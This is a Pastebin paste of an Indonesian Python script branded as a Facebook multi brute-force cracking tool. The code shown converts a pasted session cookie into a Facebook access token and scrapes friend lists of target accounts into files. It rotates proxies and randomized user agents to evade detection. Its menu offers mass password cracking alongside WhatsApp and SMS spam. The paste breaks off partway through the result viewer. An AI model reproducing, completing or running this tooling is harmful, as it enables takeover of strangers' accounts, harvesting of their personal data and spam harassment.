OBF-XIn

112.215.241.19-/sdcard/spoky_1.py.py

Jul 19th, 2023
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 176.30 KB | None | 0 0
  1. #-----------------[ IMPORT-MODULE ]-------------------#
  2. import requests,bs4,json,os,sys,random,datetime,time,re,urllib3,rich,base64,subprocess,uuid
  3. from time import sleep
  4. from rich import pretty
  5. from rich.tree import Tree
  6. from rich.panel import Panel
  7. from rich import print as cetak
  8. from rich import print as rprint
  9. from rich import print as prints
  10. from rich.progress import track
  11. from rich.text import Text as tekz
  12. from rich.console import Console
  13. from rich.text import Text
  14. from rich.columns import Columns
  15. from rich.panel import Panel as nel
  16. from rich.panel import Panel as panel
  17. from bs4 import BeautifulSoup as sop
  18. from bs4 import BeautifulSoup as par
  19. from rich.console import Group as gp
  20. from bs4 import BeautifulSoup as parser
  21. from rich.columns import Columns as col
  22. from rich.console import Console as sol
  23. from rich.markdown import Markdown as mark
  24. from concurrent.futures import ThreadPoolExecutor as tred
  25. from concurrent.futures import ThreadPoolExecutor as BrayennnXD
  26. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn
  27. #------------------[  WARNA  ]-------------------#
  28. K = '\x1b[1;93m' # KUNING
  29. P = '\x1b[1;97m' # PUTIH
  30. #------------------[ MODULE ]-------------------#
  31. try:
  32.         import requests
  33. except ImportError:
  34.         cetak(panel('\t•[bold yellow] Sedang Menginstall Modul Requests •'))
  35.         os.system('pip install requests')
  36. try:
  37.         import rich
  38. except ImportError:
  39.         cetak(panel('\t•[bold yellow] Sedang Menginstall Modul Rich •'))
  40.         os.system('pip install rich')
  41. try:
  42.         import bs4
  43. except ImportError:
  44.         cetak(panel('\t•[bold yellow] Sedang Menginstall Modul Bs4 •'))
  45.         os.system('pip install bs4')
  46. try:
  47.         import stdiomask
  48. except ImportError:
  49.         cetak(panel('\t•[bold yellow]Sedang Menginstall Modul Stdiomask •'))
  50.         os.system('pip install stdiomask')
  51. #------------------[ USER-AGENT ]-------------------#
  52. pretty.install()
  53. CON=sol()
  54. wa = Console()
  55. taplikasi=[]
  56. gabriel=[]
  57. uidl =[]
  58. opsi=[]
  59. uidf=[]
  60. console = Console()
  61. ses=requests.Session()
  62. id,id2,loop,ok,cp,akun,oprek,lisensiku,tokenku,uid,lisensikuni,method,pwpluss,pwnya= [],[],0,0,0,[],[],[],[],[],[],[],[],[]
  63. ugen2,ugen,dia,cokbrut,dump,memek,ualu,ualuh,lisensikuni,lisensiku,princp=[],[],[],[],[],[],[],[],[],[],[]
  64. try:
  65.     prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  66.     open('.prox.txt','w').write(proxy)
  67. except Exception as e:
  68.     proxy=open('.prox.txt','r').read().splitlines()
  69. #------------------[ USER-AGENT ]-------------------#
  70. for agenku in range(10000):
  71.     a='Mozilla/5.0 (Windows NT '
  72.     b=random.randrange(1, 9)
  73.     c=random.randrange(1, 9)
  74.     d='Win64; x64)'
  75.     e=random.randrange(100, 9999)
  76.     f='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  77.     g=random.randrange(1, 9)
  78.     h=random.randrange(1, 4)
  79.     i=random.randrange(1, 4)
  80.     j=random.randrange(1, 4)
  81.     k='Safari/537.36 Edg/114.0.1823.43 Unique/92.7.2606.7'
  82.     uakuh=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  83.     ugen2.append(uakuh)        
  84.  
  85. #-----------[ UGEN-WINDOUS-AND-DALFIK ]-----------#
  86. for windows in range(10000):
  87.     rr = random.randint
  88.     rc = random.choice
  89.     dalkkk = random.choice(['Sprint','Verizon','AT&T','Three','vodaAU','3Austria','Telstra','TELIA','OPTUS','U.S.Cellular','TFW','OrangeFrance','TELEGRL'])
  90.     wins1 = f"Mozilla/5.0 (Windows NT {str(rr(1,15))}; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Safari/537.36 Vivaldi/6.1.3035.111"
  91.     wins2 = f"Mozilla/5.0 (Windows NT {str(rr(1,15))}; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Safari/537.36 Vivaldi/6.1.3035.111"
  92.     wins3 = f"Mozilla/5.0 (Windows NT {str(rr(1,15))}; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Safari/537.36"
  93.     wins4 = f"Mozilla/5.0 (Windows NT {str(rr(1,15))}; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Safari/537.36"
  94.     wins5 = f"Mozilla/5.0 (Windows NT {str(rr(1,15))}; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Safari/537.36 Edg/114.0.1823.86"
  95.     dalfik1 = f"Dalvik/2.1.0 (Linux; U; Android {str(rr(6,13))}; AORO_A7 Build/QP1A.190711.020) [FBAN/MessengerForAndroid;FBAV/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))};FBLC/in_ID;FBBV/{str(rr(000000,999999))}','{str(rr(0000000,9999999))}','{str(rr(00000000,99999999))};FBCR/{dalkkk};FBMF/Aoro;FBBD/Aoro;FBDV/AORO_A7;FBSV/{str(rr(6,13))};FBCA/armeabi-v7a:armeabi;FBDM/"+"{density=4,width=1440,height=3080};FB_FW/353;]"
  96.     dalfik2 = f"Dalvik/2.1.0 (Linux; U; Android {str(rr(6,20))}; Avvio_793 Build/KOT49H) [FBAN/Orca-Android;FBAV/3.0.1-release;FBLC/in_ID;FBBV/128764;FBCR/Tsel-PakaiSarung;FBMF/Avvio;FBBD/Avvio;FBDV/Avvio_793;FBSV/{str(rr(6,20))};FBCA/armeabi-v7a:armeabi;FBDM/"+"{density=2.75,width=1080,height=2110}] FBBK/1"
  97.     dalfik3 = f"Mozilla/5.0 (Linux; Android {str(rr(6,20))}; UTBook Build/QP1A.191105.004; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/110.0.5481.65 Safari/537.36 [FBAN/FB4A;FBAV/{str(rr(20,411))}.0.0.{str(rr(10,99))}.{str(rr(5,200))};FBBV/9446340;FBDM/"+"{density=2.75,width=1080,height=2110};FBLC/id_ID;FBCR/Tsel-PakaiMasker;FBMF/Awow;FBBD/Awow;FBPN/com.facebook.katana;FBDV/UTBook;FBSV/{str(rr(6,20))};FBOP/1;FBCA/armeabi-v7a:armeabi;]"
  98.     dalfik4 = f"Dalvik/2.1.0 (Linux; U; Android {str(rr(6,20))}; SM-N950U1 Build/PPR1.180610.011) [FBAN/MessengerLite;FBAV/{(rr(100,467))}.0.0.8.42;FBPN/com.facebook.mlite;FBLC/en_GB;FBBV/743627942;FBCR/TIGO;FBMF/samsung;FBBD/samsung;FBDV/SM-N950U1;FBSV/{str(rr(20,411))}.0.0.{str(rr(10,99))}.{str(rr(5,200))};FBCA/arm64-v8a:armeabi-v7a:armeabi;FBDM/"+"{density=2.25,height=1024,width=2048};]"
  99.     dalfik5 = f"Dalvik/2.1.0 (Linux; U; Android {str(rr(6,20))}; SM-J330FN Build/PPR1.180610.011) [FBAN/MessengerLite;FBAV/{(rr(100,467))}.0.0.3.109;FBPN/com.facebook.mlite;FBLC/en_GB;FBBV/751378617;FBCR/Grameenphone;FBMF/samsung;FBBD/samsung;FBDV/SM-J330FN;FBSV/{str(rr(20,411))}.0.0.{str(rr(10,99))}.{str(rr(5,200))};FBCA/armeabi-v7a:armeabi;FBDM/"+"{density=2.25,height=,width=};]"
  100.     winsdalk = random.choice([wins1, wins2, wins3, wins4, wins5, dalfik1, dalfik2, dalfik3, dalfik4, dalfik5])
  101.     ugen.append(winsdalk)
  102.        
  103. for agenku in range(10):
  104.     a='Mozilla/5.0 (Linux; Android'
  105.     b=random.choice(['6.0.1','7.1.1','8.1.0'])
  106.     c='SUPER-ID Build/KOT49H)'
  107.     d='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  108.     e=random.randrange(83,103)
  109.     f='0'
  110.     g=random.randrange(4200,4900)
  111.     h=random.randrange(40,150)
  112.     i='Mobile Safari/537.36 OPT/1.7.21'
  113.     uaku=f'{a} {b}; {c} {d}{e}.{f}.{g}.{h} {i}'
  114.                    
  115.     a=random.choice(['7','8','9','10','11','12','13'])
  116.     b=random.choice(['7','8','9','10','11','12','13'])
  117.     c=random.randrange(73,100)
  118.     d=random.randrange(4200,4900)
  119.     e=random.randrange(40,150)
  120.     uak=f'Mozilla/5.0 (Linux; Android {a}; Pixel {b}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
  121. def uaku():
  122.     try:
  123.         ua=open('bbnew.txt','r').read().splitlines()
  124.         for ub in ua:
  125.             ugen.append(ub)
  126.     except:
  127.         a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
  128.         ua=open('.bbnew.txt','w')
  129.         aa=re.findall('line">(.*?)<',str(a))
  130.         for un in aa:
  131.             ua.write(un+'\n')
  132.         ua=open('.bbnew.txt','r').read().splitlines()
  133. ###----------[ WARNA PRINT RICH ]---------- ###
  134. M2 = "[#FF0000]" # MERAH
  135. H2 = "[#00FF00]" # HIJAU
  136. K2 = "[#FFFF00]" # KUNING
  137. B2 = "[#00C8FF]" # BIRU
  138. P2 = "[#FFFFFF]" # PUTIH
  139. A2 = "[#AAAAAA]" # ABU-ABU
  140. ###----------[ CEK WARNA TEMA ]---------- ###
  141. try:
  142.     file_color = open("data/theme_color","r").read()
  143.     color_text = file_color.split("|")[0]
  144.     color_panel = file_color.split("|")[1]
  145. except:
  146.     color_text = "[#00FF00]"
  147.     W1 = random.choice([M2,H2,K2])
  148.     W2 = random.choice([K2,M2,K2])
  149.     W3 = random.choice([H2,K2,M2])
  150.     color_panel = "#00FF00"
  151.     color_ok = "#00FF00"
  152.     color_cp = "#FFFF00"
  153. try:
  154.     file_color = open("data/theme_color","r").read()
  155.     color_text = file_color.split("|")[0]
  156.     color_brayen = file_color.split("|")[1]
  157. except:
  158.     color_text = "[#00C8FF]"
  159.     color_brayen = "#00C8FF"
  160. #------------[ WARNA-TEMA ]---------------#
  161. P = '\x1b[1;97m' # PUTIH
  162. M = '\x1b[1;91m' # MERAH
  163. H = '\x1b[1;92m' # HIJAU
  164. K = '\x1b[1;93m' # KUNING
  165. B = '\x1b[1;94m' # BIRU
  166. U = '\x1b[1;95m' # UNGU
  167. O = '\x1b[1;96m' # BIRU MUDA
  168. N = '\x1b[0m'   # WARNA MATI
  169. x = '\33[m' # DEFAULT
  170. m = '\x1b[1;91m' #RED +
  171. k = '\033[93m' # KUNING +
  172. h = '\x1b[1;92m' # HIJAU +
  173. hh = '\033[32m' # HIJAU -
  174. u = '\033[95m' # UNGU
  175. kk = '\033[33m' # KUNING -
  176. b = '\33[1;96m' # BIRU -
  177. p = '\x1b[0;34m' # BIRU +
  178. asu = random.choice([m,k,h,u,b])
  179. #--------------------[ CONVERTER-BULAN ]--------------#
  180. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  181. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  182. tgl = datetime.datetime.now().day
  183. bln = dic[(str(datetime.datetime.now().month))]
  184. thn = datetime.datetime.now().year
  185. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  186. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  187. try:cek_data = requests.get("http://ip-api.com/json/").json()
  188. except:cek_data = {'-'}
  189. try:asal_kota = cek_data["city"]
  190. except:asal_kota = {'-'}
  191. try:asal_reg = cek_data["region"]
  192. except:asal_reg = cek_data['-']
  193. try:times = cek_data["timezone"]
  194. except:times = cek_data['-']
  195. try:city = cek_data["city"]
  196. except:city = cek_data['-']
  197. ###----------[ KETERANGAN WAKTU ]---------- ###
  198. def cektahun(fx):
  199.     if len(fx)==15:
  200.         if fx[:10] in ['1000000000']       :tahunz = '2009'
  201.         elif fx[:9] in ['100000000']       :tahunz = '2009'
  202.         elif fx[:8] in ['10000000']        :tahunz = '2009'
  203.         elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
  204.         elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
  205.         elif fx[:6] in ['100001']          :tahunz = '2010'
  206.         elif fx[:6] in ['100002','100003'] :tahunz = '2011'
  207.         elif fx[:6] in ['100004']          :tahunz = '2012'
  208.         elif fx[:6] in ['100005','100006'] :tahunz = '2013'
  209.         elif fx[:6] in ['100007','100008'] :tahunz = '2014'
  210.         elif fx[:6] in ['100009']          :tahunz = '2015'
  211.         elif fx[:5] in ['10001']           :tahunz = '2016'
  212.         elif fx[:5] in ['10002']           :tahunz = '2017'
  213.         elif fx[:5] in ['10003']           :tahunz = '2018'
  214.         elif fx[:5] in ['10004']           :tahunz = '2019'
  215.         elif fx[:5] in ['10005']           :tahunz = '2020'
  216.         elif fx[:5] in ['10006']           :tahunz = '2021'
  217.         elif fx[:5] in ['10009']           :tahunz = '2023'
  218.         elif fx[:5] in ['10007','10008']:tahunz = '2022'
  219.         else:tahunz=''
  220.     elif len(fx) in [9,10]:
  221.         tahunz = '2008'
  222.     elif len(fx)==8:
  223.         tahunz = '2007'
  224.     elif len(fx)==7:
  225.         tahunz = '2006'
  226.     else:tahunz=''
  227.     return tahunz
  228. #------------------[ MACHINE-SUPPORT ]---------------#
  229. def mama(semok):
  230.         for mama in semok + "\n":sys.stdout.write(mama);sys.stdout.flush();time.sleep(0.01)
  231. def clear():
  232.     os.system('clear')
  233. def back():
  234.     login()
  235. #------------------[ LOGO-LAKNAT ]-----------------#
  236. def banner():
  237.     clear()
  238.     cetak(panel(f'''    [bold red]★ [bold yellow]★ [bold green]★ [bold red]
  239.     _____                                                                    
  240.  __|___  |__  ____    __  __  ______  ______  _____   ____    ______  __  __  
  241. |   ___|    ||    \ |  |/ / |   ___||   ___||     | |    \ |   ___||  |/ /  
  242. [bold white] |   ___|    ||     \ |     \ |   ___||   |__ |     \ |     \ |   |__ |     \
  243. |___|     __||__|\__\|__|\__\|______||______||__|\__\|__|\__\|______||__|\__\
  244.    |_____| [bold green] Fakecrack Multi Brute Force Facebook Team Creackers Indonesia                                                                
  245.                                                                               ''',width=87,padding=(0,3),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] LOGO [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  246. #--------------------[ BAGIAN-MASUK ]--------------#
  247. def login():
  248.     try:
  249.         token = open('.token.txt','r').read()
  250.         cok = open('.cok.txt','r').read()
  251.         tokenku.append(token)
  252.         try:
  253.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  254.             sy03 = json.loads(sy.text)['name']
  255.             menu(sy03)
  256.         except KeyError:
  257.             login_lagi334()
  258.         except requests.exceptions.ConnectionError:
  259.             li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
  260.             lo = mark(li, style='red')
  261.             sol().print(lo, style='cyan')
  262.             exit()
  263.     except IOError:
  264.         login_lagi334()
  265.        
  266. def login_lagi334():
  267.     try:
  268.         os.system('clear')
  269.         banner()
  270.         cetak(Panel(f"[bold white]   DISARANKAN MENGAMBIL KUKIS DI [bold red]EKSTENTION DOUGH [bold white]DAN JANGAN GUNAKAN AKUN PRIBADI",width=87,style=f"{color_panel}"))
  271.         your_cookies = input(f'{K}└── [{P}+{K}] {P}Masukan Cookie {H}: ')
  272.         with requests.Session() as r:
  273.             try:
  274.                 r.headers.update({'content-type': 'application/x-www-form-urlencoded',})
  275.                 data = {'access_token': '867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01','scope': ''}
  276.                 response = json.loads(r.post('https://graph.facebook.com/v2.6/device/login/', data = data).text)
  277.                 code, user_code = response['code'], response['user_code']
  278.                 verification_url, status_url = ('https://m.facebook.com/device?user_code={}'.format(user_code)), ('https://graph.facebook.com/v2.6/device/login_status?method=post&code={}&access_token=867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01&callback=LeetsharesCallback'.format(code))
  279.                 r.headers.pop('content-type')
  280.                 r.headers.update({'sec-fetch-mode': 'navigate','user-agent': 'Mozilla/5.0 (Linux; Android 9; RMX1941 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.54 Mobile Safari/537.36','sec-fetch-site': 'cross-site','Host': 'm.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-dest': 'document',})
  281.                 response2 = r.get(verification_url, cookies = {'cookie': your_cookies}).text
  282.                 if 'Bagaimana Anda ingin masuk ke Facebook?' in str(response2) or '/login/?next=' in str(response2):
  283.                     print(f"{K}└── [{P}+{K}] Cookie Invalid...", end='\r');time.sleep(3.5);print("                     ", end='\r');exit()
  284.                 else:
  285.                     action = re.search('action="(.*?)">', str(response2)).group(1).replace('amp;', '')
  286.                     fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response2)).group(1)
  287.                     jazoest = re.search('name="jazoest" value="(\d+)"', str(response2)).group(1)
  288.                     data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'qr': 0,'user_code': user_code,}
  289.                     r.headers.update({'origin': 'https://m.facebook.com','referer': verification_url,'content-type': 'application/x-www-form-urlencoded','sec-fetch-site': 'same-origin',})
  290.                     response3 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies})
  291.                     if 'https://m.facebook.com/dialog/oauth/?auth_type=rerequest&redirect_uri=' in str(response3.url):
  292.                         r.headers.pop('content-type');r.headers.pop('origin')
  293.                         response4 = r.post(response3.url, data = data, cookies = {'cookie': your_cookies}).text
  294.                         action = re.search('action="(.*?)"', str(response4)).group(1).replace('amp;', '')
  295.                         fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response4)).group(1)
  296.                         jazoest = re.search('name="jazoest" value="(\d+)"', str(response4)).group(1)
  297.                         scope = re.search('name="scope" value="(.*?)"', str(response4)).group(1)
  298.                         display = re.search('name="display" value="(.*?)"', str(response4)).group(1)
  299.                         user_code = re.search('name="user_code" value="(.*?)"', str(response4)).group(1)
  300.                         logger_id = re.search('name="logger_id" value="(.*?)"', str(response4)).group(1)
  301.                         auth_type = re.search('name="auth_type" value="(.*?)"', str(response4)).group(1)
  302.                         encrypted_post_body = re.search('name="encrypted_post_body" value="(.*?)"', str(response4)).group(1)
  303.                         return_format = re.search('name="return_format\\[\\]" value="(.*?)"', str(response4)).group(1)
  304.                         r.headers.update({'origin': 'https://m.facebook.com','referer': response3.url,'content-type': 'application/x-www-form-urlencoded',})
  305.                         data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'scope': scope,'display': display,'user_code': user_code,'logger_id': logger_id,'auth_type': auth_type,'encrypted_post_body': encrypted_post_body,'return_format[]': return_format,}
  306.                         response5 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies}).text
  307.                         windows_referer = re.search('window.location.href="(.*?)"', str(response5)).group(1).replace('\\', '')
  308.                         r.headers.pop('content-type');r.headers.pop('origin')
  309.                         r.headers.update({'referer': 'https://m.facebook.com/',})
  310.                         response6 = r.get(windows_referer, cookies = {'cookie': your_cookies}).text
  311.                         if 'Sukses!' in str(response6):
  312.                             r.headers.update({'sec-fetch-mode': 'no-cors','referer': 'https://graph.facebook.com/','Host': 'graph.facebook.com','accept': '*/*','sec-fetch-dest': 'script','sec-fetch-site': 'cross-site',})
  313.                             response7 = r.get(status_url, cookies = {'cookie': your_cookies}).text
  314.                             access_token = re.search('"access_token": "(.*?)"', str(response7)).group(1)
  315.                             print(f"\n{K}└── [{P}+{K}] Token {H}: {access_token}")
  316.                             tokenew = open(".token.txt","w").write(access_token)
  317.                             cook= open(".cok.txt","w").write(your_cookies)
  318.                             print(f"\n{K}└── [{P}+{K}] Login Berhasil Jalankan Ulang Perintah Python nya");exit()
  319.             except Exception as e:
  320.                 print(f"{K}└── [{P}+{K}] Cookies Mokad Kontol")
  321.                 os.system('rm -rf .cok.txt && rm -rf .token.txt')
  322.                 print(e)
  323.                 time.sleep(3)
  324.                 back()
  325.     except:pass
  326.    
  327. #------------------[ BAGIAN-MENU ]----------------#
  328. def menu(my_name):
  329.     try:
  330.         token = open('.token.txt','r').read()
  331.         cok = open('.cok.txt','r').read()
  332.     except IOError:
  333.         print('[×] Cookies Kadaluarsa ')
  334.         time.sleep(5)
  335.         login_lagi334()
  336.     os.system('clear')
  337.     banner()
  338.     cetak(Panel(f"[bold white]     SELAMAT DATANG [bold red]{my_name} [bold white]GUNAKAN SEWAJARNYA AJA, SPAM IP BAHAYA CUY",width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] SALAM [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  339.     negara = requests.get("http://ip-api.com/json/").json()["country"]
  340.     ip = requests.get("http://ip-api.com/json/").json()["query"]
  341.     dia=[]
  342.     dia.append(panel(f'[bold white][+[/][bold white]][/] [bold white]RICODE    : [bold green]CYXOEON-XD[/]\n[bold white][+[/][bold white]][/] [bold white]TIKTOK    : [bold green]notfount604[/][/]\n[bold white][+[/][bold white]][/] [bold white]GITHUB    : [bold green]CyxXionXr[/]\n[bold white][+[/][bold white]][/] [bold white]FACEBOOK  : [bold green]Spoky XD[/]\n[bold white][+[/][bold white]][/] [bold white]INSTAGRAM : [bold green]cyxxieon_xd[/][/] ',width=43,padding=(0,2),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] STATUS KU [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  343.     dia.append(panel(f'[bold white][+[/][bold white]][/] [bold white]ALAMAT IP : [bold green]{ip}[/]\n[bold white][+[/][bold white]][/] [bold white]COUNTRY   : [bold green]{negara}[/]\n[bold white][+[/][bold white]][/] [bold white]CITY      : [bold green]{asal_kota}[/][/]\n[bold white][+[/][bold white]][/] [bold white]REGION    : [bold green]{asal_reg}[/][/]\n[bold white][+[/][bold white]][/] [bold white]TIMEZONE  : [bold green]{times}[/][/] ',width=43,padding=(0,2),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] STATUS MU [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  344.     console.print(Columns(dia))
  345.     cetak(panel(f"[bold white]Alvino_Xy , DerrXr , Asepit-Gans , Rozhak XD , Rochmat Basuki , Nazri XD , Aorec XD , Lukman-XD , Dapunta , Kall And Brayennn XD",width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] THANKS TO [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  346.     cetak(panel(f"[bold white][[bold cyan]01[bold white]] Crack Publik    [bold white][[bold green]ONLINE[bold white]]                 [bold white][[bold cyan]06[bold white]] Cek Result    [bold white][[bold green]ONLINE[bold white]]\n[bold white][[bold cyan]02[bold white]] Crack Massal    [bold white][[bold green]ONLINE[bold white]]                 [bold white][[bold cyan]07[bold white]] Spam Wa       [bold white][[bold green]ONLINE[bold white]]\n[bold white][[bold cyan]03[bold white]] Crack Email     [bold white][[bold green]ONLINE[bold white]]                 [bold white][[bold cyan]08[bold white]] Spam Sms      [bold white][[bold green]ONLINE[bold white]]\n[bold white][[bold cyan]04[bold white]] Crack File      [bold white][[bold green]ONLINE[bold white]]                 [bold white][[bold cyan]09[bold white]] Ganti Tema    [bold white][[bold green]ONLINE[bold white]]\n[bold white][[bold cyan]05[bold white]] Dump Idz        [bold white][[bold green]ONLINE[bold white]]                 [bold white][[bold cyan]00[bold white]] Hapus Kukis   [bold white][[bold red]ONLINE[bold white]]",width=87,padding=(0,5),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] MENU FORCE [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  347.     cyxieon_kiddie = input(f'└── [+] Pilih Menu : ')
  348.     if cyxieon_kiddie in ['1','01']:
  349.         crack_publik()
  350.     elif cyxieon_kiddie in ['2','02']:
  351.         crack_masal()
  352.     elif cyxieon_kiddie in ['3','03']:
  353.         crack_email()
  354.     elif cyxieon_kiddie in ['4','04']:
  355.         crack_file()
  356.     elif cyxieon_kiddie in ['5','05']:
  357.         dump_id()
  358.     elif cyxieon_kiddie in ['6','06']:
  359.         cek_result()
  360.     elif cyxieon_kiddie in ['7','07']:
  361.         spam_wa()
  362.     elif cyxieon_kiddie in ['8','08']:
  363.         spam_sms()
  364.     elif cyxieon_kiddie in ['9','09']:
  365.         ganti_tema()
  366.     elif cyxieon_kiddie in ['0','00']:
  367.         os.system('rm -rf .token.txt')
  368.         os.system('rm -rf .cookie.txt')
  369.         print(f'└── [+] Sukses Hapus Kukis ')
  370.         back()
  371.     else:
  372.         print(f'└── [+] Pilih Yang Bener Asu ')
  373.         back()
  374.                
  375. ###----------[ GANTI WARNA TEMA ]---------- ###
  376. def ganti_tema():
  377.         prints(Panel(f"""[bold white][[bold cyan]01[bold white]]. ganti warna tema merah      [bold white][[bold cyan]06[bold white]]. ganti warna tema pink
  378. [bold white][[bold cyan]02[bold white]]. ganti warna tema hijau      [bold white][[bold cyan]07[bold white]]. ganti warna tema cyan
  379. [bold white][[bold cyan]03[bold white]]. ganti warna tema kuning     [bold white][[bold cyan]08[bold white]]. ganti warna tema putih
  380. [bold white][[bold cyan]04[bold white]]. ganti warna tema biru       [bold white][[bold cyan]09[bold white]]. ganti warna tema orange
  381. [bold white][[bold cyan]05[bold white]]. ganti warna tema ungu       [bold white][[bold cyan]10[bold white]]. ganti warna tema abu2""",width=87,padding=(0,10),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] WARNA TEMA [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  382.         ask = console.input(f"└── [+] pilih tema : ")
  383.         if ask in["01","1"]:warna = "[#FF0000]";teks="merah"
  384.         elif ask in["02","2"]:warna = "[#00FF00]";teks="hijau"
  385.         elif ask in["03","3"]:warna = "[#FFFF00]";teks="kuning"
  386.         elif ask in["04","4"]:warna = "[#00C8FF]";teks="biru"
  387.         elif ask in["05","5"]:warna = "[#AF00FF]";teks="ungu"
  388.         elif ask in["06","6"]:warna = "[#FF00FF]";teks="pink"
  389.         elif ask in["07","7"]:warna = "[#00FFFF]";teks="cyan"
  390.         elif ask in["08","8"]:warna = "[#FFFFFF]";teks="putih"
  391.         elif ask in["09","9"]:warna = "[#FF8F00]";teks="orange"
  392.         elif ask in["10"]:warna = "[#AAAAAA]";teks="abu-abu"
  393.         open("data/theme_color","w").write(warna+"|"+warna.replace("[","").replace("]",""))
  394.         prints(Panel(f"""[bold white]berhasil mengganti tema ke {teks}, silahkan mulai ulang tools""",width=87,padding=(0,10),style=f"{color_panel}"))
  395.         sys.exit()
  396.        
  397. #-----------------[ DUMP ID ]-----------------#
  398. def dump_id():
  399.     try:
  400.         token = open('.token.txt','r').read()
  401.         cookie = open('.cok.txt','r').read()
  402.         os.mkdir('/sdcard/DUMP-FILE')
  403.     except:pass
  404.     try:
  405.         barelang = input(f"└── [+] Masukan Id  : ")
  406.         batuampar = input(f"└── [+] Nama File Dump  : ")
  407.         gajahmada  = ('/sdcard/DUMP-FILE/' + batuampar + '.txt').replace(' ', '_')
  408.         xxx = open(gajahmada, 'w')
  409.         coki = {"cookie":cookie}
  410.         smpn20 = requests.get('https://graph.facebook.com/%s?fields=friends.limit(90000)&access_token=%s'%(barelang,token),cookies=coki).json()
  411.         for sekupang in smpn20['friends']['data']:
  412.             id.append(sekupang['id']+'|'+sekupang['name'])
  413.             xxx.write(sekupang['id']+'|'+sekupang['name']+ '\n')
  414.             print('\r└── [+] Mengumpulkan %s Id'%(len(id)),end='')
  415.             time.sleep(0.0050)
  416.         print(f"\n└── [+] Berhasil Dump Id Dari Publik")
  417.         print(f"└── [+] Salin Output File + [ %s ]"%(gajahmada))
  418.         exit()
  419.     except (KeyError,IOError):
  420.         os.remove(gajahmada)
  421.         print(f"└── [+] Gagal Dump Id, Kemungkinan Id Tidak Ada")
  422.         exit()
  423.        
  424. #-----------------[ HASIL-CRACK ]-----------------#
  425. def cek_result():
  426.     cetak(panel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]Hasil OK[/]                     [bold white][[bold cyan]02[/][bold white]][/] [bold white]Hasil CP[/]',width=87,padding=(0,17),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] CHECK RESULT [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  427.     kz = input(f'└── [+] Pilih : ')
  428.     if kz in ['2','02']:
  429.         try:vin = os.listdir('CP')
  430.         except FileNotFoundError:
  431.             print('└── [+] File Tidak Di Temukan ')
  432.             time.sleep(3)
  433.             back()
  434.         if len(vin)==0:
  435.             print('└── [+] Anda Tidak Memiliki Hasil CP ')
  436.             time.sleep(4)
  437.             back()
  438.         else:
  439.             cih = 0
  440.             lol = {}
  441.             for isi in vin:
  442.                 try:hem = open('CP/'+isi,'r').readlines()
  443.                 except:continue
  444.                 cih+=1
